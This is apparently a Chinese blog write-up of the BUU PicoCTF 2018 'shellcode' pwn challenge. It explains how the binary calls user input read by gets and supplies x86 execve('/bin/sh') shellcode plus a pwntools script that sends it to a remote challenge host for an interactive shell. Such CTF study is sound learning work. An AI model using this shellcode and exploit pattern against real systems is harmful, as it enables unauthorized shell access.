BUU pwn PicoCTF_2018_shellcode

这道题需要我们了解x86汇编的lea指令。lea dst, src指的是dst=&src

file可知32bit ELF

IDA F5发现反编译失败,查看main函数的汇编,发现会调用vuln函数。其中lea eax, [ebp+var_A0]指的是把[ebp+var_A0]的地址(也就是ebp+var_A0的值)赋给eax,作为vuln的参数。后面又出现了lea eax, [ebp+var_A0],并通过call eax来执行ebp+var_A0地址处的函数。
image

查看vuln函数,里面将[ebp+8]传参给gets,这表示可以从标准输入中读取shellcode并写入到ebp+8处。反编译可知,ebp+8正是vuln的参数ebp+var_A0。所以最终main的call eax会调用ebp+var_A0处我们所写的shellcode。
image

image

栈结构如图所示(上面为高地址)
image

而shellcode往往是一个系统调用execv('/bin/sh'),其汇编为

xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80

其中al是eax的低8位

最后构造payload

from pwn import *
r = remote("node4.buuoj.cn", 25862)
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
payload = asm(shellcode)
r.sendline(payload)
r.interactive()

注意这个payload我在Linux可以执行,Windows下会报错pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64', bits = 64, endian = 'little', log_level = 10, os = 'linux')
image

posted @ 2023-03-09 19:38  Nemuzuki  阅读(175)  评论(0编辑  收藏  举报